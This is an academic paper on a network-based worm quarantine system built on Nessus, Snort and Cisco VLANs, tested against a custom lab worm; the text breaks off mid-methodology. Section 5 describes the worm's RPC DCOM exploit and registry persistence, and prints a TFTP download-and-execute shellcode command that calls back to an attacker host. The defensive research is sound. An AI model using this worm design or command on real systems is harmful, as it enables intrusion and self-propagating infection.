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1. Abstract
1.1. This goal of this research was to create a network-based malware quarantine
system and test the effectiveness of it on the speed of worm propagation across a
virtual network. Worms that spread in epidemic ways cause a large amount of
financial and digital damage to the average Internet user while posing threats to
the infrastructure of the Internet. This impact on consumers and the Internet as a
whole can be significantly reduced through the implementation of a quarantine
system at the network level. The quarantine system tested combined a network
based vulnerability scanner, a Network Intrusion Detection System (NIDS), and
a custom written control system to detect malware behavior on a network, and
segregate those potentially compromised hosts from other hosts, with the
intention of slowing the propagation of a network worm. A virtual test
environment was used to track the propagation of a custom written worm as it
spread to virtualized test machines. Before each test, the network was cleared of
malware and the speed of propagation was documented. This data was analyzed
to determine the most effective configuration that will still maintain network
usability. After testing four variants of the custom worm with four different
variations on the quarantine system configuration the spread data and quarantine
system logs were analyzed to determine that the quarantine was in fact very
effective against the spread and was able to slow or stop it in almost all
simulations.

2. Introduction
2.1. Computer virus and worm outbreaks can spread across the Internet at an
epidemic rate. (Lelarge & Bolot, 2008) These outbreaks can cause severe damage
to civilian networks and can pose great threats to Internet infrastructures and
servers. The largest recent worm outbreak was the Conficker botnet. As of
August 15, 2010, this botnet is estimated to command over 4.9 million unique IP
addresses. (Conficker Working Group, 2010) According to the FBI, “Because of
their widely distributed capabilities, botnets are a growing threat to national
security, the national information infrastructure, and the economy.” (FBI
National Press Office, 2007) Due to their widespread propagation and the huge
amount of traffic that they can generate; Internet worms pose a significant threat
to the infrastructure of the Internet as a whole. This deluge of traffic can cause
Distributed Denial of Service (DDoS) conditions, which severely degrade
network availability in affected areas. (Joukov & Chiueh)
2.2. While the most effective way for a company to protect its computers is to ensure
compliance to security best practices before allowing access to the network. An
ISP cannot rely on each user’s compliance to security guidelines. Many expert
users prefer to avoid such requirements, while non-expert users tend to be
ignorant of security best practices in general. Instead, the ISP could deploy a
more effective security system if it maintained independence from endpoint
configuration. This research will determine the effectiveness of a strictly
networked security solution, by measuring its effect on the speed of propagation
for each viral outbreak.

2.3. The impact of viruses and malware on consumers may be significantly reduced
through the implementation of a quarantine system placed on the network. This
research will test such a quarantine system by measuring its effectiveness at
slowing the spread of a virus across a model consumer network. This system will
conduct a scheduled scan of the test network searching for known vulnerabilities
while monitoring traffic on the network for malware related scans and other
suspicious traffic.
2.4. While it is common for protection to be placed on managed network to protect
corporate environments, unmanaged networks tend to go unprotected. This
research is significant in that it will create an effective malware countermeasure
that is usable on both managed and unmanaged networks. This is valuable
research because of the threat of viruses to end users and the infrastructure and
economy of the Internet.

3. Related Work
3.1. Over time, as the Internet has grown, the sophistication of network attacks has
grown. Viruses and worms have been developed that have much more advanced
methods of communication and propagation. Attack tools have become
increasingly automated and are allowing a much faster exploitation of
vulnerabilities than before. The amount of time available for a vulnerability to be
patched is shrinking due to the faster transition from vulnerability discovery
to effective malicious exploit. One of the fundamental protection devices used
is the firewall. Due to development of new technologies, firewalls are becoming
more-and-more easy to penetrate. All in all, the threats to computers are growing
at a very fast rate and the general knowledge of users to protect themselves is
being outpaced. The economic impact of some worms is in the range of billions
of dollars. (Householder, Houle, & Dougherty, 2002)
3.2. Heien, Massengale and Wu developed a test-bed network to study the way that
the network is affected by malware infestation. The proposed network allows the
team to “’poke and prod’ malicious software to gather data.” This data can later
be used to predict worm behavior and develop better defenses. The network was
developed to take advantage of the sandboxing method used by virtualization.
Each host has two virtual machines on it that share its resources and network
card. Various testing tools are used to monitor the network and gather data.
(Heien, Massengale, & Wu, 2008)
3.3. The propagation of worms on the Internet can be described epidemically. This
means that while an unprotected computer can be infected and suffer the personal
effects of the infection, it can now become a launch-bed to further spread the
infection. Because of this epidemic propagation of malware, research into
limiting this spread is beneficial to all users of the Internet. (Lelarge & Bolot,
2008)
3.4. There are two commonly used models for predicting epidemic population growth.
The first model is the SI-model breaks the population into two groups:
Susceptible and Infected. As an infection spreads through the groups it follows

Figure 3.1

the pattern described by the derivative in Figure 3.1
This describes a curve that is approximately exponential at the start, and as the
infection saturates the population the “Infected” curve slows and mirrors the start
in reverse. The inverse of this curve is representative of the “Susceptible”
population. The second common model used for epidemic spread is the SIRmodel. It breaks the population into three groups by adding a Removed group.
This is allows for recovered individuals that are no longer susceptible, and
deceased individuals. The formula for this model is significantly more
complicated, as shown in Figure 3.2.
As the infected population grows to its peak,
(Figure 3.3) the removed population begins to
expand, and the infected and susceptible population
decreases proportionally.
This paper describes these models and how they Figure 3.2
relate to the spread of computer worms over the
Internet. They expand these formulas to include human protection measures and
slower infection rates due to network traffic. The following graph shows their
prediction of worm population growth, epidemically, to include these two
additional factors. (Misslinger)
3.5. The fast propagation of Internet
worms poses a serious threat to
the infrastructure of the
Internet as a whole. As worms
spread over networks, the
traffic generated can have a
distributed denial of service
effect on the network. This
effect can cause large portions
of the Internet to go down.
Because the spread is so fast
there is no way that manual
responses by humans can have
any retarding effect on their Figure 3.3
spread. The research conducted
by (Joukov & Chiueh) graphed the spread of nine well-known and widespread
Internet worms. They also discuss some detection methods and mitigation
techniques to slow the spread of worms. (Joukov & Chiueh)
3.6. The RIT Information Security Office (ISO) manages a vulnerability scanner and
quarantine system that periodically scans the RIT campus for known
vulnerabilities and will quarantine the affected computer. Machines that are
quarantined are placed on a restricted network and are allowed to access
remediation services. The Network Standard policy published by the ISO briefly
outlines the capabilities of the network scanner. (Rochester Institute of

Technology Information Security Office, 2009)

4. Wild worm vs. Test worm
4.1. In order to measure the effectiveness of the quarantining system, a worm was
needed to infect the test network. Initially, the plan was to use a “wild” worm to
test the network, meaning a worm found spreading on the Internet. However,
after research of these “wild” worms, creation of a test worm was found
favorable on several accounts. By writing a new worm, tracking, targeting, and
predictability were more controlled; this also led to a solid set of characteristics
that would be necessary when writing the custom worm.
4.2. Rather than relying on an outside program such as a virus scanner or tracking
script, a custom test worm could incorporate tracking into itself. To collect data
some sort of sensor or trigger would need to be in place to log which computers
were infected and when. For a wild worm, the sensor would have been a series of
scripts to monitor the system looking for worm activity. Although scripts would
be advantageous over using a standard virus scanner, incorporating tracking into
the worm was more effective as it didn’t rely on an outside script at all. Also this
made administration easier by eliminating the need to manage the set of scripts
on each host.
4.3. A problem with using wild worms is that they often spread using a random IP
generator. Because the test network was only a very small portion of the IPv4
address space, it would be very difficult to get the worms to spread to other test
hosts. A custom worm could intentionally target the test network, rather than
finding ways for the network to trick the worm into propagating. Some ideas that
were considered for making wild worms propagate were to write a custom router
that repackaged traffic directed outside the virtual network and instead forwarded
it back in. When the worm targeted an outside host, the attack would be
redirected at an internal host. Another possibility would be to reverse engineer
and attempt to alter the functionality of the wild worm and force it to spread on
the test network only. These possibilities were unnecessarily complicated and it
became clear that while wild worms may be possible, they were not feasible.
Creating a worm custom written for these simulations made the simulations
much more efficient and effective as well as giving more opportunities for
variations in testing.
4.4. A custom worm is much more predictable and easy to control. Wild worms tend
to make analysis and reverse engineering as difficult as possible. They often
employ encryption techniques and debugging/virtualization detection to prevent
researchers from learning how they work. This makes them less than ideal for
this research. Also, because the goal of this system is not to learn how the worms
work, but rather, to test the effect on propagation of the quarantine system, it is
unnecessary to deal with the unpredictability of wild worms. A custom test
worm’s propagation techniques could be intentionally manipulated to fully test
the quarantine system and its behavior would be completely predictable.
4.5. These reasons led to the list of requirements that helped develop the virus that
would be used in this research. In order to spread, the virus had to be a worm,

having self-propagation capabilities. To improve data collection and the ability to
track the worm’s spread, it had to log each new exploitation and infection. To
avoid unnecessary complication it had to be predictable and controllable. Finally,
it had to target hosts only within the test network and be unable to spread outside.

5. Test worm
5.1. Test.X is the custom worm written for the purposes of testing the quarantine
system described in this paper. It has a structure comprised of six parts:
Reporting, infection, target selection, scanning, exploitation and code transfer. It
propagates by gaining Local System level privileges by exploiting the
Distributed Component Object Model (DCOM) vulnerability addressed in
MS03-026. The DCOM interface is made network accessible through the Remote
Procedure Call (RPC) protocol, allowing remote attackers to gain control without
physical access. The code was written in Visual C++ using Visual Studio 6.0.
The entire worm is only 534 lines of code and comprises one 197KB Windows
Portable Executable (PE). Four variations of Test were created; two target
selection variations and two multithreaded variations. These will be referred to as
Test.NTL (Non-Threaded Linear), Test.NTR (Non-Threaded Random), Test.TL
(Threaded Linear) and Test.TR (Threaded Random).
5.2. Reporting messages are sent for two events during the lifecycle of Test. This is
helpful when running propagation simulations by sending fine-grained
propagation logs to the configured syslog server. Before Test.X is compiled, the
syslog server’s IP address is defined explicitly throughout the code. The Report
and ReportExploit functions send installation and exploitation messages
respectively.
5.3. When Test.X runs, whether initially upon infection or after a system reboot, it
will check the Installed() function, which returns true or false depending on the
presence of the C:\Windows\system32\worm.exe file. If the worm is not installed
it copies itself to that location. Finally, Test.X also adds a registry key to HKEY
Local Machine\Software\Microsoft\Windows\CurrentVersion\Run, causing the
worm to rerun on system startup.
5.4. After the worm has verified installation it moves on to target selection. This is
the beginning of an infinite loop that is constantly selecting a new random target
and attacking it. Target selection is handled by a simple function that parses the
IP address of the local system into four parts. For the Random variants, Test.X
then generates a random number from 1 to 254 and uses that number for the
fourth octet of a new IP address; this is the target. For Linear variants the system
keeps a global variable “lastScanned” and new targets are selected by
incrementing that number. It will increment up to 254 and then loop. Before
scanning that new target, it verifies that the new target is not the same address as
the local system.

Figure 5.1 - Worm Program Flow

5.5. Once a new target has been selected, the worm attempts to connect to that IP on
the RPC DCOM port 135. If a connection cannot be made the worm begins the
target selection process once again. This allows the worm to randomly scan for
vulnerable systems on the network. The method for network scanning is singlethreaded. While this method is rather slow, it simplifies the propagation timeline
while still maintaining a realistic epidemic spread.
5.6. On vulnerable target systems, the RPC DCOM interface is exploited using a
buffer overflow to execute remote code. A malformed packet is sent via port 135
with an overrun in the server name field. For the Test.X exploit, the value passed
as the server name contains a memory location to jump program execution to a
NOP sled and then to shellcode that calls system() with a given command. The
Metasploit Framework is a penetration-testing framework that is freely available
on the Internet. It includes tools for network scanning, shellcode generation and
exploitation. This framework was used to generate shellcode which was

embedded into Test.X’s exploit. This shellcode can execute any given command
on the remote system. The command parameter must be generated on the fly to
ensure that the shellcode calls back to the attacking system at its IP address,
which is of course different for each attacker. The command that is run is cmd /c
tftp –i <attacker_ip> get bot.exe && bot.exe (Shown in Figure 1.1).
5.7. This command will use the built-in Windows XP Trivial File Transfer Protocol
(TFTP) client to call back to the attacking system on port 69, attempt to retrieve a
file, which it will save as bot.exe, and then it will run bot.exe.

Figure 5.2 - Shellcode Command (Hex)

5.8. The exploit used in Test.X is based on the exploit published by Last Stage of
Delirium (LSD) research group in July 2003. Further changes to the exploit have
been published throughout the Internet as Windows has been updated since then.
Different versions of Windows and different service packs use different memory
addresses in the buffer overflow. For the purpose of this research Test.X targeted
only Windows XP SP1. This simplified the development of Test.X and as the
targeted operating system is irrelevant, it was one less factor to consider. The
overrun of RPC DCOM initiates a system crash with a 60 second timer. This
gives the worm enough time to transfer and install itself before the system
reboots.
5.9. The RPC DCOM vulnerability was chosen for three reasons. First, the RPC
DCOM vulnerability is easily exploitable across the network without any user
interaction. Second, the RPC DCOM exploit code was readily available and easy
to manipulate making it easy to build self-propagation into the worm. Finally, the
vulnerability is old enough that there is little fear of the worm doing any damage
in the unlikely event that it could be somehow released into the outside network.
5.10.
The final stage of Test.X’s lifecycle is the transfer of the executable to the
newly exploited system. As soon as the exploit shellcode is transferred to the
target machine, the attacking machine starts a very simple TFTP service joined to
UDP port 69. The server listens for a single packet from the target system. Once
received, it begins to dump the binary over the network. The shellcode command
run on the remote system will receive the binary data and save it to the file
bot.exe. Bot.exe will be immediately run after the transfer is complete. When run
on the remote system Test’s lifecycle begins on the remote system. It will now
install and reboot then run on system startup.
5.11.
There was of course concern with writing a worm for this experiment that
it would leak onto the Internet and cause unforeseeable damage. To mitigate this
risk, the exploit that was chosen was intentionally greatly outdated and mostly
patched across the Internet. Careful control of the worm executable has been
exercised to ensure that it does not leak or get executed outside of the test
network. Finally, the target spread mechanism of the worm was written in such a
way that it would only target the test network and have no way to spread outside.
It will only target a 192.168.1.0/24 network and nothing else.

6. Quarantine System
6.1. Quarantine System Introduction
6.1.1. The quarantine system used for this research was custom written. It uses
four Python modules, two network sensors, and a Cisco switch to react to
worm activity and coordinate quarantining infected and vulnerable systems
on the network. The system is based on two sensors: the Nessus
vulnerability scanner and the Snort intrusion detection system. A Python

Figure 6.1 - Quarantine System Structure

module was written for each of the two sensors to interface with the sensor
over the network. A third Python module was written as network control and
it interfaces with the Cisco switch. The fourth module ties the other three
modules together by receiving alerts from the two sensors, determining what
action to take and interfacing with the network control module.
6.1.2. The two sensors in the system were chosen to protect network hosts during
two stages of the infection lifecycle. As a worm spreads over a network it
must first search the network for potential targets, identify if they are

vulnerable to the exploit code it carries, and then spread to the target host.
After a host is infected it begins scanning the network again for more
vulnerable targets.
6.1.3. The Nessus vulnerability scanner detects vulnerabilities in network hosts
in a similar way that the worm detects vulnerable targets. When a vulnerable
network host is identified it can be moved to an isolated network segment to
prevent interaction with other potentially infected hosts. These quarantined
hosts are not blocked from accessing the Internet, only from communicating
directly with other hosts on the local network.
6.1.4. The Snort intrusion detection system is placed on the network in such a
way that it has visibility of all network traffic as it traverses the switch. With
this particular system this was accomplished by configuring a Switch Port
Analyzer (SPAN) port. The switch forwards all traffic out the SPAN port to
the Snort sensor where the sensor can analyze the data. When Snort receives
traffic it compares each packet to a database of signatures to detect malicious
network traffic. When a worm transmits itself to a newly infected machine,
the Snort sensor detects the exploit code and the transmission of the worm
code and sends an alert over the network to the quarantine command center.
6.1.5. When the command center receives a syslog message from the Snort
sensor it first blocks the sending machine and then examines the response
traffic from the target to determine if it was in fact infected. It the target was
infected, the command center then blocks the newly infected target machine.
This behavior by the Snort system and the network control system is a form
of intrusion protection system.

6.2. Nessus Scanner
6.2.1. The vulnerability-scanning sensor uses Tenable Network Security’s
Nessus Vulnerability Scanner version 4.4.0. This software package is
installed on a server and controlled via a web browser. Nessus downloads
plugins from the Internet and uses those plugins to detect vulnerabilities
when scanning targets. Policies are configured on the server and specified
before a new scan is run.
6.2.2. For this research it was not necessary to detect all possible vulnerabilities
on the network. The scan policy for the network was only configured to
detect the vulnerability that the test worm targeted. This allowed for faster
scans of the network. In a real world scenario this scanner would need to be
capable of scanning all known vulnerabilities at a high rate of speed.
6.2.3. Tenable is consistently creating new plugins as new vulnerabilities are
reported. There are two licensing options available for Nessus: the
HomeFeed and the ProfessionalFeed. HomeFeed is their free service that
provides up-to-date plugins and allows the server to scan up to 15 hosts.
ProfessionalFeed is their paid service that provides customer service and no
limit on the number of hosts that can be scanned.
6.2.4. The maximum host limitation became a problem with this quarantine
system, as the simulations would need to scan at least 24 hosts. After failing
to obtain educational licensing through Rochester Institute of Technology,
Tenable’s cofounder Renaud Deraison was contacted with a copy of this

proposal, asking for permission to use a ProfessionalFeed license for this
research. He kindly provided 3 months of trial licensing, allowing for further
development.
6.2.5. The server component of Nessus does not have a command line or
graphical user interface. When Nessus is installed, there is a server controller
application placed on the desktop to handle starting and stopping the Nessus
service. All other interactions with Nessus, including creating policies,
starting scans and viewing reports are all handled through the web interface.
6.2.6. The Nessus web interface is completely flash based and communicates
with the server via eXtensible Markup Language – Remote Procedure Call
(XML-RPC) commands. These commands provide an inter-process
communication channel, which allows the server to be controlled from other
remote machines, not only the server.
6.2.7. This XML-RPC interface made it possible for the Nessus control module
to communicate directly with the server, issuing scan creation, start, and stop
commands directly to the server. The XML-RPC command set is well
documented by Tenable and provided a very robust control mechanism.
Without this communication channel it would have been extremely difficult
to automate the scanning and reporting mechanisms that were implemented
by the Nessus scanning module of this quarantine system.
6.2.8. The “nessusscan” Python module consists of a handful of simple XMLRPC interfacing functions, some scanner control functions, a report parsing
function and a threaded class. The XML-RPC functions are responsible for
opening the network socket, logging into the Nessus server and sending and
receiving messages from the network socket. The login process produced a
session token that must be transmitted with every request as authentication.
6.2.9. This system was only configured to detect a single vulnerability so the
scan policy was manually created on the server via the web interface and
given the policy identification of “ID 1”. When a scan begins, the scanner
connects a network socket, logs in, and sends the “/scan/new” procedure call.
The arguments for “/scan/new” are scan name, policy ID and target. These
variables are statically set within the module.
6.2.10. The XML-RPC documentation does not provide any procedure call to
check on the progress of a scan, although it may be an undocumented
method, as it is possible from within the web interface. Once the new scan
has been started by the scan() function, the module needs to wait for it to
finish before it can download the scan report. This functionality was made
possible using the “/scan/list” procedure call. This returns a list of all active
Nessus scans. The scanwait() function was written to constantly poll the
server for the list of active scans, and not return until there are no active
scans left. This ensures that the scan report is available when the function
completed.
6.2.11. After a scan has finished the report is downloaded and parsed. Nessus
reports are in XML format and include a huge amount of detailed
information for each host. For each vulnerability, the report lists severity,
details and references of each vulnerability. The getreport(), logreport() and

parsereport() functions are responsible for downloading the report, storing it
locally on the command machine, parsing it for vulnerabilities and sorting
them by host and severity. The parsereport() function returns three data
structures with the report information; one for each severity level. The RPCDCOM vulnerability being tested is a severity 3 vulnerability.
6.2.12. All of this scan process is handled by a single function called startscan().
This function starts scans, waits for them to finish, gets the report, parses the
report, deletes the report from the server to avoid clutter, and returns the
results of the parsed report. Startscan() is called by the run function of the
threaded class mentioned above. When the quarantine system runs it
instantiates a NessusScanner thread and starts it. When started, a loop begins
that runs scans on a timed interval.
6.2.13. A threaded class called “Timer” governs this timed interval. When Timer
is created it takes an integer argument that determines how many minutes it
will wait. At the beginning of the NessusScanner thread it checks to see if a
timer is running. If there is not one running, it starts one. Then it goes on to
kick off a Nessus scan. While the scan is running, the thread is constantly
checking to see if the timer has completed. If the timer is set to a shorter
time than the Nessus scan takes, a new scan will begin before the first is
complete, which of course causes problems with the scanwait() function.
Optimizing the scan policy and ensuring that the timer is set to high enough
intervals avoided this problem.
6.2.14. When the command center creates a NessusScanner thread it assigns it a
shared queue object. This object is used by the command center and the
NessusScanner to transfer information about vulnerable hosts; specifically it
holds IP addresses of vulnerable hosts. When a scan completes, scanstart()
returns the lists of vulnerabilities and hosts. The list of severity 3 data is
looped through and all host IP addresses are placed onto the shared queue
object. This queue object is also passed to the netcontrol thread, which
monitors it for newly queued hosts. When a host is queued by Nessus, it is
taken off the queue by the network control module and quarantined.

6.3. Snort Monitor
6.3.1. The intrusion detection system uses Snort, an open source system
developed by Sourcefire. Snort uses detection signatures, which are
distributed by Sourcefire. Because the Snort rule format is open source,
custom rules can be written as needed. Snort rules are available via a
subscription-based service similar to Nessus. The two subscription levels for
Snort are free and paid. The paid subscription gets snort updates daily and
real-time as they are developed. The free subscription provides these rules
one month later than the paid subscription. The RPC DCOM exploit in
Test.X was released in 2003 and Snort has long since released detection
signatures for it to the free subscription. This allowed Snort to be used for
free.
6.3.2. Typically Intrusion Detection Systems (IDS) are placed on a segment of
the network that has visibility of the entire network so that no malicious
traffic is able to “get by” the sniffer. On a switched environment, the switch

is responsible for reading layer 2 addresses on data packets and forwarding
them out the switch-port that the destination machine is connected to. This
provides a level of privacy to hosts connected to the network from other
hosts. This presents a challenge for intrusion detection systems that need to
be able to see all traffic. Cisco solves this problem by implementing a
Switch Port Analyzer (SPAN) setting that can be configured. A SPAN port
will receive all network traffic that traverses the switch. An IDS can be
placed on a SPAN port and see all network traffic, solving the traditional
switching problem. This is what was set up for this research so that Snort
could see malware propagation traffic between infected machines and targets.
6.3.3. One advantage that the IDS sensor has over the vulnerability scanner is
that it runs non-stop on the network. This also made the Snort control
module much easier to write because there was no start or stop code, the
only thing the module was responsible for doing was receiving alerts from
Snort, parsing them, and adding them to a queue.
6.3.4. Snort was installed and configured on a Debian Linux server. Snort alerts
were sent to the syslog service in Linux, which was configured to send them
across the network to the IP address of the server with the command center
program running. Syslog is a logging protocol standard commonly used in
Linux. It is used for internal log messages and can be forwarded across the
network to a central logging server. The syslog service on the Snort server
was configured to transmit all messages to the command center server where
the Snort monitor module runs.
6.3.5. The Snort monitor module binds to UDP port 514 to receive syslog
message data. When a new message is available on the socket, the module
copies it into a new string object and parses out the Snort ID of the signature
detected, the source of the traffic and the destination. When an infected
machine (host-A) attempts to spread to a machine that is not vulnerable to
the RPC-DCOM exploit (host-B), it still sends the exploit code, and triggers
a Snort alert, but does not successfully spread to the target machine.
6.3.6. This poses a problem for the quarantine system. If both host-A and host-B
are quarantined, false positives will be common. On the other hand, if the
quarantine system only quarantines host-A, it will be consistently one step
behind the spread of the worm when it is successful. To solve this problem,
the module receives two messages at a time. When a worm exploit is
successful, host-B responds with a TFTP (trivial file transfer protocol)
connection back to the host-A. This connection is detected by the Snort
monitor and triggers an alert. These two alerts will be sequential and the
Snort monitor can determine whether the target has been infected or not. If
the second alert is not detected, only host-A is blocked by the quarantine
system. On the other hand if the second alert is detected, this signifies a
successful spread and both host-A and host-B will be blocked.
6.3.7. The RPC-DCOM exploit Snort ID is 9601 and the TFTP snort ID is 1444.
When a new alert is received and parsed, its Snort ID is checked. If it is 9601,
the IP address of the sender is placed into the shared queue object. Next, the

second alert’s ID is checked. If it is 1444 then the destination’s IP address is
also added to the block queue.
6.3.8. The block queue in the Snort monitor module is similar to the queue used
by the Nessus scan module. It is passed from the command center into the
Snort monitor thread when it is instantiated and is then shared with the net
control module. A separate queue is used for Snort than is used for Nessus.
The quarantine system treats the results of these modules differently. If a
Snort alert triggers a block event then the hosts are blocked from any access
to the Internet or any non-infected hosts. Quarantined computers are
segregated from each other but are allowed to access the Internet. This will
be explained in more detail in the following section.

6.4. Network Control
6.4.1. The network control module is responsible for communicating from the
command center server to the Cisco switch. The Python library “telnetlib”
was used for communication to the switch and the telnet management
interface of the switch was turned on. This is, of course, not a secure way of
managing the switch, but for the purposes of this research there was no
danger in using an unencrypted communication method and it saved time in
development, as there is not currently a Secure Shell (SSH) library for
Python 3.1.
6.4.2. In order to segregate computers during a worm infection, a network access
control technique was needed. Two options were considered and the use of
virtual local area networks (VLANs) was chosen. Another option would be
to use the 802.1x authentication protocol. This would allow the network to
block or allow a host’s network communication on a switch port based on
authentication of the host using certificates installed on the host. Using
VLANs as a quarantining method was ideal because of widespread use
across the Internet and in enterprise networks; nearly all professional
switches and routers support VLAN assignment. A disadvantage of 802.1x is
that it would require registration and pre-configuration of the end hosts
VLAN placement would not require any contact with new hosts.
6.4.3. A VLAN segregates computers by logically separating ports on a switch.
A port is joined to a specific VLAN and all communication through that port
is tagged by that VLAN. The switch will not forward any VLAN traffic to a
port that is not a member of that VLAN. By default a switch places all ports
into VLAN 1 and they can all communicate with each other. Because the
switch will not forward VLAN traffic to other VLANs, hosts cannot
communicate with hosts on other VLANs, even if they are on the same
switch. The only way for traffic to move from one VLAN to another is by
traveling up to and through a router. This requires that the VLANs be
assigned IP addresses on separate networks, and for the router to allow
communications between those two networks. A router can be configured to
block traffic from one network to another, or a VLAN can be created that
has no connection to the outside through a router.
6.4.4. The switch used for this project was configured with a blocked-VLAN
(VLAN 100) and 24 quarantine-VLANs, one quarantine-VLAN per switch

port. In a production environment, each quarantine-VLAN could be
connected to a router and given access to the Internet, but the router would
block inter-VLAN communication. The blocked VLAN was configured with
no connection to the outside. Only infected hosts were placed in the blocked
VLAN, so it was not important that they be protected from each other.
6.4.5. A key requirement for this quarantine system is that each host on the
network must have a dedicated switch port. This is necessary so that the
network control module can tell the switch to move a port to a quarantined
VLAN and only a single computer would be affected by the network change.
This greatly affected the testing infrastructure by limiting the use of
virtualization. A single virtualization server with many virtual machines
would only be plugged into a single switch port. A virtual machine can be
mapped directly to a physical network adapter, but adding enough physical
network adapters to a single server was prohibitively expensive. More
details of the physical layout of the test network will be described in
following sections.
6.4.6. Once the network was built with a single host on each port, a Cisco switch,
and the command center server, it was possible for the command center to
telnet into the switch and move ports between VLANs as necessary. The
“netcontrol” Python module automates these actions and a threaded class
was created to interface the telnet switch controls with the command center.
The running thread monitors the two Queue objects that are shared with the
Nessus and Snort modules. When an IP address is added to one of the
queues the netcontrol module retrieves it and begins the process of
quarantining or blocking that host.
6.4.7. In order to communicate with the switch, netcontrol had to pass Cisco IOS
commands to it. This of course requires a login method to begin
communication with the switch and an “enable” method to gain
administrative permissions to configure the switch. These methods passed
login and enable commands to the switch and responded to login prompts
with the appropriate usernames and passwords.
6.4.8. After login and enable commands are successful, the threaded Monitor
class that controls netcontrol can pass it quarantine or unquarantine
commands. The quarantine method takes two arguments: IP address and
source. IP address is the network address of the machine to quarantine or
block. Source is an integer, either 1 or 0. If source is 1, this indicates that the
IP address is already infected. If source is 0 then the IP is vulnerable. This
information is determined based on which queue the object has been
retrieved from.
6.4.9. Once a quarantine method has been called it must first resolve the MAC
address from the given IP address. Because switches work at the data link
layer, they do not have any visibility of layer 3 addresses (IP). Switches do
however store the connection port location of each layer 2 address.
6.4.10. The address resolution protocol (ARP) is used to resolve IP to MAC
addresses. This protocol works by sending a broadcast message to the
network asking each computer if it has been assigned the IP address in

question. Only the specified computer will respond to an ARP request, and it
responds with its MAC address. This process happens whenever a layer-3
communication happens on a network. If the target host is on the same
broadcast domain, it will respond to the ARP request. All hosts in this
research are on the same switch, and if they are in the same VLAN, they are
within the same broadcast domain, so should respond when requested.
6.4.11. Once a MAC address has been determined, the switch can internally
lookup the port that mac address is connected to. It does this by querying its
source address table (SAT). A switch maintains a SAT by watching traffic
coming into it on its own ports. When a new source address is seen, the
switch determines that it can communicate with that MAC address on that
port, and adds that information to its SAT. When the switch needs to send
traffic to a requested MAC address, it first queries its SAT for the MAC
address. If found, it will only send the traffic out that port. If it’s not found
then the traffic will be sent to all ports. The switches SAT can be printed
through a telnet session, and is used by netcontrol to find the port that must
be quarantined or blocked.
6.4.12. After finding the appropriate switch port, netcontrol simply goes into the
configuration mode of the switch and changes the VLAN of that port. Once
this is done that port can no longer communicate with any of the other ports
or the Internet, depending on which VLAN it has been moved to. If the
source argument is 1 (infected) the port will be moved to VLAN 100, if it is
0 (vulnerable) it will be moved to the VLAN that directly corresponds with
the port number, shifted up one to allow for VLAN 1 as the default
communication port, i.e. Port 24 will be placed in VLAN 25.
6.4.13. Two other simple methods were built into netcontrol for easier
management of the testing environment. A “restoreAll” method was created
and a “listinfected”. RestoreAll was used to move all ports back to VLAN 1
at the end of a simulation. Listinfected was used as a logging feature to show
which ports were in which VLANs at the end of a simulation. Both of these
helped to automate testing and debug the emulation system.

6.5. Command Center
6.5.1. Because this system was created to be modular, the command center
portion was kept as simple as possible. Essentially, all that this module needs
to do is instantiate the three threads and create the shared queues. A timing
function was built into the Command Center thread to allow for timed
simulations but of course in a production environment it would run
continuously.
6.5.2. The Command Center is itself a running thread that spawns the other three.
When the main function of the module is called it creates and starts the
Command thread. A new Command thread takes two arguments: snort and
ness. These are Boolean variables that are assigned to determine which
protections will be activated for the test in question. The only processing that
occurs during initialization of this thread is the assignment of these Boolean
values to internal variables for the thread to use later.

6.5.3. After the thread has been started, it checks the internal Nessus and Snort
settings and spawns those threads accordingly. When a new thread is created,
that thread handles creation of its own Queue object. This queue is then
referenced by Command and passed into the new netcontrol thread, allowing
asynchronous communication between threads.
6.5.4. After threads have been started, Command sleeps while the simulation
runs. Most tests were run for 30 minutes. After that time expires, Command
stops each thread and closes itself.
6.5.5. The majority of the code for this Command Center is specific to this
testing environment. In a production environment this would likely be
controlled manually by a graphical user interface of some sort, with many
more “knobs” for controlling the frequency of Nessus scans, and the
sensitivity of Snort detection. Hosts would have to be manually removed
from quarantine or unblocked as IT personnel clear them. These capabilities
would be built into a functioning Command Center.

7. Testing Methodology
7.1. Testing Introduction
7.1.1. After the worm and quarantine system were created, the final phase of
research was to run simulations to test the system. A network was needed
and a set of simulations needed to be developed to thoroughly test its
effectiveness. As described in the worm documentation, the test worm was
created with four variants, each having a slightly different approach to
propagation. The quarantine system also has four different variations of its
configuration. With four quarantine systems and four worms to test per
system, there were sixteen tests to be run.

7.2. Test Network
7.2.1. The test network was primarily composed of thirteen servers graciously
lent by BAE Systems. It was necessary for each network host to have its
own network adapter that could be directly connected to its own switch port.
This prevented the use of a single server and many virtual machines. Instead,
each of the thirteen servers had two network adapters allowing two virtual
machines per server and reducing the amount of servers from twenty-six
down to thirteen. A personal development machine was used as a command
and control host.

Figure 7.1 - Test Network Diagram

7.2.2. The number of ports on the switch dictated the number of victim hosts.
The Cisco switch had twenty-four 100 MBps ports for use by the victim
hosts. It also had two 1 GBps ports, one was used as a SPAN port for the
Snort sensor, and the other was used to connect a small five port unmanaged
switch. The command and control server, two syslog servers and the Nessus
scanner were all connected to that second switch. The Nessus server and the
Snort sensor were on the thirteenth machine. The command and control
server and syslog server were both virtualized on the fourteenth machine.
7.2.3. Once hardware was acquired, Windows Server 2003 and VMware
Workstation were installed on each server and two virtual machines were
created per server. The virtual machines (VMs) were all configured with
Windows XP Service Pack 1, so that they would be vulnerable to the RPC
DCOM exploit used by the test worm. After each VM was fully configured,
a VMware snapshot was taken so that they could be easily reverted to a preinfection state. Each virtual machine was bridged directly to a physical
network interface on the server and each network interface was connected to
a switch port.

7.3. Testing and Simulations
7.3.1. After the network was fully created, a final round of development and
debugging tests were run. These helped to iron out any bugs or problems in
the worm, its logging facilities, the quarantine system, and the network
infrastructure. Running these tests prevented bugs from interfering with the
final set of simulations and data collection. These initial tests also gave a
better idea of the time needed for final simulations. Initially tests would run

for two hours, to give the worm enough time to spread across the entire
network and stabilize. It was found that, in most cases, this stabilization took
less than twenty minutes. For this reason the final simulations were reduced
from two hours to thirty-minute runs.
7.3.2. Sixteen final simulations were run to collect data. There are four variations
of the quarantine system to be tested: No Protection, Snort Only, Nessus
Only, and Full System. Each of these quarantine variations was tested
against each variation of the test worm. The four types of worms were
different in the way that they spread: Threaded Random (Test.TR), Threaded
Linear (Test.TL), Non-Threaded Random (Test.NTR) and Non-Threaded
Linear (Test.NTL). Using no protection system established a baseline
propagation speed of each type of worm. The other three variations of
quarantine system determined the effectiveness of each sensor on its own, as
well as the overall effectiveness of the system. The four types of worm were
chosen to provide a variation in targeting method, while still keeping the
worm simple and not changing the whole structure of the worm. By making
